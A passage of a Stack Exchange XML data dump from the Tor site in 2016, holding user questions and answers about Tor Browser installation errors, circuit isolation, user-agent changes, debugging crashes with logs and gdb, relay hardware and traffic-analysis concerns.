with.&lt;/p&gt;&#xA;" OwnerUserId="819" LastEditorUserId="819" LastEditDate="2016-07-31T16:11:27.070" LastActivityDate="2016-07-31T16:11:27.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12237" PostTypeId="1" CreationDate="2016-07-29T00:16:37.493" Score="1" ViewCount="208" Body="&lt;p&gt;just sent a friend to &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/projects/torbrowser.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;she has something called webroot installed, and this is the error message;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suspicious attack ahead&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Webroot has blocked access to the website you tried to open.&#xA;It has been reported to contain suspicious content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not sure what to tell her&lt;/p&gt;&#xA;" OwnerUserId="13797" LastActivityDate="2016-07-29T02:05:38.380" Title="windows program &quot;webroot&quot; blocks access to tor download" Tags="|windows|help|website|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12238" PostTypeId="2" ParentId="12237" CreationDate="2016-07-29T02:05:38.380" Score="2" Body="&lt;p&gt;There is a &lt;a href=&quot;https://community.webroot.com/t5/Webroot-SecureAnywhere-Antivirus/Why-does-Webroot-dislike-Tor-browser-and-will-not-allow-download/td-p/231277&quot; rel=&quot;nofollow&quot;&gt;thread on the Webroot forums about this&lt;/a&gt;, and here's an official answer from December 2015:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hello everyone,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I just got off the phone with one of our team members that handles this and apparently torproject.org is classified as a 10 in our system as opposed to an 81 which is what I saw. The reason for this is because it is considered a proxy, and many large employers would not like employees navigating to this site.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There is quite a bit of back and forth on our end in regards to this and it may change in the future(hopefully) Smiley Wink&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In regards to Tor itself, that is a safe website to navigate to and if you want to continue to it, when the block comes up simply click &quot;Tell me more about it&quot; and then click &quot;Unblock page and continue.&quot; This should create an override on your machine and while the search results will still show the red annotations, the site should no longer get blocked upon navigation.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I will update this thread once I know more or if we make a change to this.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Regards,&#xA;  James G.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Online Retention Specialist&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1765" LastActivityDate="2016-07-29T02:05:38.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12239" PostTypeId="2" ParentId="12228" CreationDate="2016-07-29T03:51:53.960" Score="1" Body="&lt;p&gt;Tor Button handles the domain islation, which also includes how the &quot;New Tor Circuit for this Site&quot; button works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;IsolateSOCKSAuth&lt;/code&gt; is a default enabled isolation flag for a tor &lt;code&gt;SocksPort&lt;/code&gt;. It means that it takes the SOCKS5 username and password authentication credentials and if they're different from others, it will use a new circuit. Tor Browser is patched to allow Tor Button to edit the authentication credentials for the SocksProxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you load up &lt;code&gt;example.org&lt;/code&gt; Tor Button creates a new set of credentials for it, these are &lt;code&gt;example.org&lt;/code&gt; for the login and a random hex string for the password. These will be re-used for each resource associated with that &quot;first party&quot; domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use Tor Button to choose a new circuit for the site, Tor Button generates a new hex string for the password (it used to just use &lt;code&gt;0&lt;/code&gt;,&lt;code&gt;1&lt;/code&gt;,&lt;code&gt;2&lt;/code&gt;,..etc but this was changed recently, see &lt;a href=&quot;https://bugs.torproject.org/19206&quot; rel=&quot;nofollow&quot;&gt;#19206&lt;/a&gt; but it's possible this is still the current behaviour in versions included in Tor Browser releases), this therefor causes it to use a new circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code you want to read is in Tor Button at &lt;a href=&quot;https://gitweb.torproject.org/torbutton.git/tree/src/components/domain-isolator.js&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;src/components/domain-isolator.js&lt;/code&gt;&lt;/a&gt;, I recant my earlier assertion of there not being an API call available, it may be possible if you can call the &lt;code&gt;tor.newCircuitForDomain()&lt;/code&gt; function in Tor Button from another extension (just how bad is browser security anyway?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, from your description you probably never actually want to do this and I'm guessing that you're going to be a bit of a bastard and abuse Tor to bypass blacklisting, giving it an even worse reputation and I'd kindly ask you not to, even if that isn't your plan it may be what the effects of your plan &lt;em&gt;look&lt;/em&gt; like to website administrators. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-29T03:51:53.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12241" PostTypeId="2" ParentId="4032" CreationDate="2016-07-29T08:19:48.153" Score="1" Body="&lt;p&gt;Add a new SOCKSPort line to your &lt;code&gt;torrc&lt;/code&gt; file, located inside the Tor Browser folder in the sub-folder &lt;code&gt;\Browser\TorBrowser\Data\Tor\torrc&lt;/code&gt;, setting it to be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 0.0.0.0:9250&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ensure you've allowed traffic in to this port in any packet-filter/&quot;firewall&quot; on the operating system, then configure other applications on other systems on the network to use to whatever your computers LAN IP address is on port 9250 as their SOCKS5 or SOCK4a proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this will mean traffic traverses the local network &lt;em&gt;before&lt;/em&gt; receiving any of Tor's protection (e.g. the LAN sees what an exit would see &lt;em&gt;and&lt;/em&gt; plaintext &lt;code&gt;.onion&lt;/code&gt; traffic) and as such should be avoided. I'd strongly recommend against this, run tor locally where possible. LAN networks, especially those hosted using consumer routers, should be considered untrusted/untrustworthy operating environments.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-29T08:19:48.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12242" PostTypeId="2" ParentId="12230" CreationDate="2016-07-29T09:58:12.440" Score="0" Body="&lt;p&gt;Just start the eduroam VPN normally. Then start Tor like on a normal connection, without configuring any proxies in the launcher (the options you are listing are not for VPNs). And you don't need bridges either, eduroam doesn't censor.&lt;/p&gt;&#xA;" OwnerUserId="13802" LastActivityDate="2016-07-29T09:58:12.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12243" PostTypeId="2" ParentId="12221" CreationDate="2016-07-29T13:07:57.887" Score="1" Body="&lt;p&gt;This is not safe as it will makes you stand out from other Tor browsers as they have standardized user agent. And also I am sure many websites has mobile versions of their pages. Maybe web searching or visiting their site maps will help you find these pages for mobile?&lt;/p&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="13768" LastEditDate="2016-07-29T16:04:23.810" LastActivityDate="2016-07-29T16:04:23.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12245" PostTypeId="1" CreationDate="2016-07-29T14:00:22.200" Score="3" ViewCount="4026" Body="&lt;p&gt;I've recently found, that my instance of TorBrowser crashes on &quot;reddit.com&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to find any *.log file, like &lt;code&gt;notice.log&lt;/code&gt; or &lt;code&gt;debug.log&lt;/code&gt;. Nothing!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I &lt;strong&gt;DEBUG&lt;/strong&gt; browser? &#xA;To be sure what exactly was a reason of a crash.&lt;/p&gt;&#xA;" OwnerUserId="13805" LastActivityDate="2016-09-07T02:56:06.880" Title="How to debug TorBrowser?" Tags="|tor-browser-bundle|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12247" PostTypeId="2" ParentId="936" CreationDate="2016-07-29T14:48:46.683" Score="0" Body="&lt;p&gt;You should open a cryptocurrency wallet and buy bitcoins or cyptocurrencies with your credit card in cryptocurrency exchanges or through a cryptocurrency ATM (Beware of their higher fees). Then, use a crytocurrency tumbler service like Joinmarket to anonymize your cryptocurrencies and transfer into a new cryptocurrency wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do take note of the fees and the trustworthiness involved in such tumblers, exchanges and bitcoin ATMs and also of course beware the legalities of cryptocurrency and its' tumblers. Hopefully my answer will help people worldwide, not just in US.&lt;/p&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="13768" LastEditDate="2016-07-29T16:06:47.073" LastActivityDate="2016-07-29T16:06:47.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12248" PostTypeId="1" CreationDate="2016-07-28T17:33:22.010" Score="0" ViewCount="15547" Body="&lt;p&gt;I asked this question but got logged out and can't get back in but need to ask additional Q...&#xA;&lt;a href=&quot;https://security.stackexchange.com/questions/131165/how-can-i-see-mobile-version-websites-on-pc-mac-while-using-a-privacy-secure-bro&quot;&gt;https://security.stackexchange.com/questions/131165/how-can-i-see-mobile-version-websites-on-pc-mac-while-using-a-privacy-secure-bro&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the user agent string as explained in the answer, but it didn't work, so I'd like to know what I am doing wrong? I change the useragent to exactly what's in the answer and hit &quot;enter&quot; and go to youtube, right? My youtube still displays as desktop. I'm on a Mac. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13829" OwnerDisplayName="user118832" LastEditorUserId="-1" LastEditDate="2017-03-17T10:46:11.210" LastActivityDate="2019-06-21T16:59:47.327" Title="How to change user agent string on Tor to see mobile sites?" Tags="|anonymity|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12249" PostTypeId="2" ParentId="12248" CreationDate="2016-07-28T22:10:04.073" Score="1" Body="&lt;p&gt;Two potential solutions (I'm sure there are others). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) If you want to maximize your privacy you could simply use tor &quot;as-is&quot; and go to a website which will show you a mobile version of a site. For example:&#xA;&lt;a href=&quot;http://ready.mobi/&quot; rel=&quot;nofollow&quot;&gt;http://ready.mobi/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) You could also increase your privacy risk and change the Tor user agent setting itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   Open the Tor Browser and go to the url about:config&#xA;   Say Yes you'll be careful&#xA;   Search for useragent&#xA;   Change general.useragent.override to the value of your choice&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: If you are the only Tor browser with a specific user agent you'll be pretty easy to identify but it all depends on what you are doing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional Note: You may want to clear your cookies. If the first time you've visited a site it set a cookie regarding your screen size that may be part of what is affecting your user experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just successfully did this on OSX 10.10.5 using Tor Browser 45.2.0 changing the Tor user agent string from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Apple-iPhone7C2/1202.466&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and was able to view YouTube as a mobile browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User Agent String Reference:&#xA;&lt;a href=&quot;http://www.enterpriseios.com/wiki/Complete_List_of_iOS_User_Agent_Strings&quot; rel=&quot;nofollow&quot;&gt;http://www.enterpriseios.com/wiki/Complete_List_of_iOS_User_Agent_Strings&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Website to see your User Agent string remotely once you change it.&#xA;&lt;a href=&quot;http://www.whatsmyua.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.whatsmyua.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13810" OwnerDisplayName="Trey Blalock" LastActivityDate="2016-07-28T22:22:41.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12250" PostTypeId="2" ParentId="12245" CreationDate="2016-07-29T17:54:58.513" Score="1" Body="&lt;p&gt;There is an entire chunk of the wiki dedicated to this subject.&lt;/p&gt;&#xA;&lt;p&gt;Have a read of &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Hacking#DebuggingtheTorBrowser&quot; rel=&quot;nofollow noreferrer&quot;&gt;Debugging the Tor Browser&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;(These are all either internal to Firefox or Linux/UNIX specific...I've no idea how you'd even approach this on lesser operating systems? Windows Event Logs and windbg? Can they reach the output of the extensions or firefox's logs to &lt;code&gt;stderr&lt;/code&gt; in any way?)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Debugging web content.&lt;/h2&gt;&#xA;&lt;p&gt;If you're having issues with a website and want to figure out why it's not loading properly, then you want to use Firefox's built-in Developer Console, this can be activated by navigating from the pull down menu at the top &lt;code&gt;Tools&lt;/code&gt; -&amp;gt; &lt;code&gt;Web Developer&lt;/code&gt; -&amp;gt; &lt;code&gt;Toggle Tools&lt;/code&gt; or using the &lt;code&gt;Ctrl&lt;/code&gt;+&lt;code&gt;Shift&lt;/code&gt;+&lt;code&gt;i&lt;/code&gt; key combination.&lt;/p&gt;&#xA;&lt;p&gt;This will present you with a few tabs of various tools, the most useful are:&lt;/p&gt;&#xA;&lt;h3&gt;Inspector&lt;/h3&gt;&#xA;&lt;p&gt;This allows you to view the currently rendered content. Unlike &lt;code&gt;View Source&lt;/code&gt; this is the content as it has been &lt;em&gt;interpreted&lt;/em&gt;, and after it may have been altered by any javascript executing in the context of the page. You can also edit or entirely delete sections of the page through this tool.&lt;/p&gt;&#xA;&lt;h3&gt;Console&lt;/h3&gt;&#xA;&lt;p&gt;This is a javascript console, it will contain any errors encountered when processing content on the page. This is also where &lt;code&gt;console.log()&lt;/code&gt; will be output to. You can use this to execute javascript in the context of the page.&lt;/p&gt;&#xA;&lt;h3&gt;Network&lt;/h3&gt;&#xA;&lt;p&gt;This lets you watch network requests being made by the page, this can be handy for discovering if certain resources included by the page are failing to be fetched due to some error, it also allows you to manipulate and resend requests.&lt;/p&gt;&#xA;&lt;h2&gt;Debugging Tor&lt;/h2&gt;&#xA;&lt;p&gt;If you're having connectivity issues with Tor, then you can go into the Tor Button (Onion) menu and select &lt;code&gt;Tor Network Settings&lt;/code&gt;, then &lt;code&gt;Copy Tor Log To Clipboard&lt;/code&gt;. You can then paste the Tor log into a text editor to review it, or into a site like &lt;a href=&quot;https://paste.debian.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://paste.debian.net&lt;/a&gt; to share it with others for them to review.&lt;/p&gt;&#xA;&lt;p&gt;You should note that if you are using private bridges their addresses may appear &lt;em&gt;unredacted&lt;/em&gt; in these logs and you should take steps to redact them manually.&lt;/p&gt;&#xA;&lt;h2&gt;Debugging Tor Browser Addons&lt;/h2&gt;&#xA;&lt;p&gt;The Tor Browser addons (Tor Button and Tor Launcher being the main candidates) have logging functionality with configurable levels of log output. You can edit these through the &lt;code&gt;about:config&lt;/code&gt; page on Tor Browser.&lt;/p&gt;&#xA;&lt;p&gt;For Tor Button, the numeric value at &lt;code&gt;extensions.torbutton.loglevel&lt;/code&gt; defines how detailed the logs are and similarly for &lt;code&gt;extensions.torlauncher.loglevel&lt;/code&gt; for Tor Launcher.&lt;/p&gt;&#xA;&lt;p&gt;Valid values are 1 through 5 (inclusive), with 1 being the most detailed and 5 being the lest, are defined as 1 - &lt;code&gt;VERBOSE&lt;/code&gt;, 2 - &lt;code&gt;DEBUG&lt;/code&gt;, 3 - &lt;code&gt;INFO&lt;/code&gt;, 4 - &lt;code&gt;NOTICE&lt;/code&gt;, 5 - &lt;code&gt;WARNING&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To access the output, you should run run Tor Browser from the command line using the bash script (is there a windows or osx equivalent?) with either the &lt;code&gt;--debug&lt;/code&gt; option set, which will write the output directly to the console or &lt;code&gt;--log&lt;/code&gt; to write them to file. &lt;code&gt;--log&lt;/code&gt; logs them to &lt;code&gt;tor-browser.log&lt;/code&gt; by default, in the top level of the Tor Browser directory, but this can be manually set through an optional argument, for example &lt;code&gt;./tor-browser_en-US/Browser/start-tor-browser --log /home/user/mylog.log&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Debugging Firefox&lt;/h2&gt;&#xA;&lt;p&gt;If the &lt;code&gt;firefox&lt;/code&gt; process for Tor Browser is crashing, on Linux you can run the command &lt;code&gt;ulimit -c unlimited&lt;/code&gt; before running it manually from the command line, as outlined in the previous section. This will allow you to generate a coredump of the process if it crashes, this will preserve it's current state and allow you to use binary debugging tools like &lt;code&gt;gdb&lt;/code&gt; to view the state of the process during it's crash. How and where a coredump is stored is defined by a sysctl value in the kernel. You can check this value by running &lt;code&gt;sysctl kernel.core_pattern&lt;/code&gt;, editing it requires root (for obvious reasons). Traditionally it just dumps to a file called &lt;code&gt;core&lt;/code&gt; in &lt;code&gt;$PWD&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;First, to make things easier you will want to retrieve the debugging symbols, since these can be bulky, Tor Browser ships without them by default to conserve space. They are available as a separate download in at the &lt;a href=&quot;https://dist.torproject.org/torbrowser/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Projects distribution storage&lt;/a&gt; website. The file is named &lt;code&gt;tor-browser-linux$ARCH-debug.zip&lt;/code&gt;, where $ARCH is wither 32 or 64, depending on your processor architecture, they also have a corresponding signature which you &lt;em&gt;should&lt;/em&gt; verify before use.&lt;/p&gt;&#xA;&lt;p&gt;Once downloaded, move into the &lt;code&gt;tor-browser_en-US&lt;/code&gt; directory and extract the contents and move the &lt;code&gt;Debug/Browser&lt;/code&gt; folder contained inside to &lt;code&gt;Browser/.debug&lt;/code&gt;. &lt;code&gt;gdb&lt;/code&gt; should now be able to load the symbols required to debug Tor Browser. Now you're ready to debug, load up gdb by running, for example &lt;code&gt;gdb --core Browser/core Browser/firefox&lt;/code&gt;. You can then use gdb to debug the crash and view human-readable function names and other debugging information.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-08-08T02:04:35.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12251" PostTypeId="1" CreationDate="2016-07-29T20:11:38.120" Score="1" ViewCount="25015" Body="&lt;p&gt;I am a new user of Tor and have downloaded the newest version for macintosh. I have the latest OSX and a good working computer. The installation went well and the browser physically looks normal.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I tried to search any sites and I am greeted with a blank webpage with an error stating &quot;Unable to find the proxy server&quot;. I have tried a multiple suggestions from Youtube but they did not help.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated. I tried changing the network connection settings (In Preferences&gt;Advanced&gt;Network&gt;Connections&gt;Settings) to &quot;no proxy&quot; or &quot;Auto-detect proxy settings for this network&quot; but neither worked. Thank you for your help :)&lt;/p&gt;&#xA;" OwnerUserId="13811" LastEditorUserId="13768" LastEditDate="2016-07-30T10:03:05.117" LastActivityDate="2017-05-22T08:22:39.927" Title="I tried to browse websites with Tor but all I get are &quot;Unable to find the proxy server&quot; error pages." Tags="|mac|proxy|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12253" PostTypeId="1" CreationDate="2016-07-30T01:31:33.023" Score="1" ViewCount="141" Body="&lt;p&gt;If I'm running &lt;strong&gt;Tails 2.4&lt;/strong&gt; from a &lt;strong&gt;VM&lt;/strong&gt; through &lt;strong&gt;Virtual Box&lt;/strong&gt; which is running on &lt;strong&gt;Windows 10&lt;/strong&gt;, am I able to connect my &lt;strong&gt;Lexmark 2600 Series&lt;/strong&gt; printer to the Tails VM session?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Lexmark  Series scanner/printer is connected to the Window 10 Virtual Box host server with USB and I'm able to scan documents with it to my Windows machine so I know it works properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is possible, can someone point me to configuring it on the Tails session since I'm not sure if I need to share it out on Windows Host first then connect Tails to it via &lt;code&gt;\\hostcomputername\sharedprintername&lt;/code&gt;, or configure the VM a certain way via the VM configurations to get it to work from Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did go to the Simple Scan and Printers options and I'm not sure what to do from there to get it connected, load drivers, and all that type of stuff.&lt;/p&gt;&#xA;" OwnerUserId="13813" LastEditorUserId="88" LastEditDate="2016-08-04T13:13:33.653" LastActivityDate="2016-08-04T13:13:33.653" Title="Can I connect to a scanner/printer with a VM running tails?" Tags="|tails|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12254" PostTypeId="2" ParentId="12251" CreationDate="2016-07-30T06:19:53.513" Score="1" Body="&lt;p&gt;From the unedited original question: are you using Tor browser or Tor by itself  (It is a software that &lt;em&gt;only&lt;/em&gt; helps you to connect to a Tor circuit)? I will recommend that you should use &lt;strong&gt;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor browser bundle&lt;/a&gt;&lt;/strong&gt; than to use Tor by itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the tor browser settings has been configured to be identical with other downloaded Tor browser bundle so that you have the same browser fingerprint as all other Tor browser users. If you are using any other browsers on top of just Tor alone, your browser fingerprint will probably be unique and adversaries will use it to identify you even though your connection is through a Tor circuit.&lt;/p&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="13768" LastEditDate="2016-07-30T06:42:17.643" LastActivityDate="2016-07-30T06:42:17.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12255" PostTypeId="2" ParentId="10234" CreationDate="2016-07-30T07:07:58.687" Score="4" Body="&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tor does not make much use of more than one core, &lt;strong&gt;two cores&lt;/strong&gt; (or one hyperthreaded core) &lt;strong&gt;per process is best&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;a maximum of two Tor processes may register from a single IP, so &lt;strong&gt;a CPU with 4 cores is ideal&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;64-bit&lt;/strong&gt; is best for cryptography&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;2 GiB&lt;/strong&gt; of system memory is a bare minimum&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Whilst I can't back it up with much technical details, this is from what I learnt in the last couple of months reading stuff and playing around with relays on different kinds of hardware. For me &lt;strong&gt;the Odroid C2 currently takes the prize&lt;/strong&gt; with high-capacity connections (say 100+ Mbps), provided it runs two Tor processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pros:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;very&lt;/strong&gt; low power consumption (compared to a server/desktop configuration)&lt;/li&gt;&#xA;&lt;li&gt;1 Gbps link&lt;/li&gt;&#xA;&lt;li&gt;fast (2 GHz) 64-bit CPU&lt;/li&gt;&#xA;&lt;li&gt;2 GiB of RAM&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The cons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;no support of the AES-NI instruction set, the only one that Tor/OpenSSL really needs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So far I've been able to squeeze 5-6 M&lt;strong&gt;bytes&lt;/strong&gt; of pure Tor traffic (directory listings excluded) from it, still increasing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information on technical requirements and how to configure and maintain a high-throughput relay may be found on the &lt;a href=&quot;https://www.torservers.net/wiki/&quot; rel=&quot;nofollow&quot;&gt;Tor Servers wiki&lt;/a&gt;. A reference documentation about Tor specifics can be found &lt;a href=&quot;https://www.mail-archive.com/or-talk@freehaven.net/msg14159.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; under &lt;em&gt;Machine Specs&lt;/em&gt;, e.g. speaking about cores:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor is currently not fully multithreaded, and tends not to benefit&#xA;  beyond 2 cores per process. Even then, the benefit is still marginal&#xA;  beyond just 1 core.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12396" LastActivityDate="2016-07-30T07:07:58.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12257" PostTypeId="2" ParentId="10009" CreationDate="2016-07-30T11:00:02.330" Score="2" Body="&lt;p&gt;I think I can answer the first two paragraphs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think because the entry guard node knows where a Tor user is from (compromising anonymity) and the exit node knows what that user is looking at (compromising privacy) and thus, it give the clearer overall picture to the attacker if they have control of these two points. I don't think its as useful to analyze and entry and a middle node, it's as good as just analyzing the entry node's traffic. Same for analyzing middle and exit node, it's the same as analyzing the exit node only. Alexey Vesnin is right too, it may be a waste of resources if you cannot discover links between certain Tor users to certain online activities done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not saying that analyzing just the entry or exit nodes are totally not useful but that is off topic to your question on hand so I won't go into that. Alexey Vesnin had cover bit on that in the comments though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might help that all the nodes in a Tor circuit are from different countries but governments through collaborations of intelligence agencies, ISPs and server providers from different countries or simply private attackers could set up (or analyzes existing) different relays in different countries. Thus, it will still makes traffic analysis feasible.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow&quot;&gt;I totally left out the possibilities of ISPs and NSA somehow tapping into the internet cables (possibily underwater?) could as serve as a vector for traffic analysis attack&lt;/a&gt;. Please do note that other metadata such as time and packet size not shown in the diagram linked could be taken in account in such attacks too. So a bad single node or even with no bad nodes, other factors from what it seems from the linked diagram, could be used against one's anonymity.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it seems that most of these vectors requires authoritative powers to carry out. So Tor users are somewhat safer from adversaries that are not from government agencies as there are less vectors of attack from those guys. And also as we all know, a lot of time this network path will be across countries which makes such attacks harder. But on the other other hand, the intelligence agencies of different countries could be working together &lt;a href=&quot;https://en.wikipedia.org/wiki/Five_Eyes#Future_enlargement&quot; rel=&quot;nofollow&quot;&gt;which we know they did before.&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="13768" LastEditDate="2016-09-04T06:48:08.627" LastActivityDate="2016-09-04T06:48:08.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12258" PostTypeId="1" CreationDate="2016-07-30T14:01:27.130" Score="0" ViewCount="518" Body="&lt;p&gt;It says on the tails website that the usb-stick installation of tails can be corrupted if you install it from a compromised system. I installed tails on a usb-stick from my windows10 pc. I have no idea if my windows has been infected or compromised, my malware scanner doesn't show anything, so how will I know that my usb-installation hasn't been corrupted?&lt;/p&gt;&#xA;" OwnerUserId="13819" LastActivityDate="2016-07-31T02:13:03.023" Title="Installing tails from compromised system" Tags="|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12259" PostTypeId="1" CreationDate="2016-07-30T16:36:48.903" Score="1" ViewCount="2839" Body="&lt;p&gt;I am an irregular user of Tor but like to have it at hand and use it from time to time. Up until recently, I would update frequently and it all worked smoothly. However, today is the first time I try launching it after upgrading to macOS Sierra and I am bumping into an error for the first time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of connecting like it used to, the &quot;Tor Status&quot; window stays in place for a while and eventually delivers an error message saying &quot;Tor Launcher. Could not connect to Tor control port&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I upgraded to the most recent version of Tor Browser (6.0.2), created an exception in my Firewall and even deactivated my firewall for a bit, but all to no avail. Is this something someone else has bumped into? All the messages I found seemed linked to other parameters that do not apply to me. Could it be Sierra? Could it be some other functionality that blows ports? Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot in advance!&lt;/p&gt;&#xA;" OwnerDisplayName="user13820" LastActivityDate="2017-01-03T17:41:41.270" Title="Tor and macOS Sierra" Tags="|tor-browser-bundle|support|mac|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
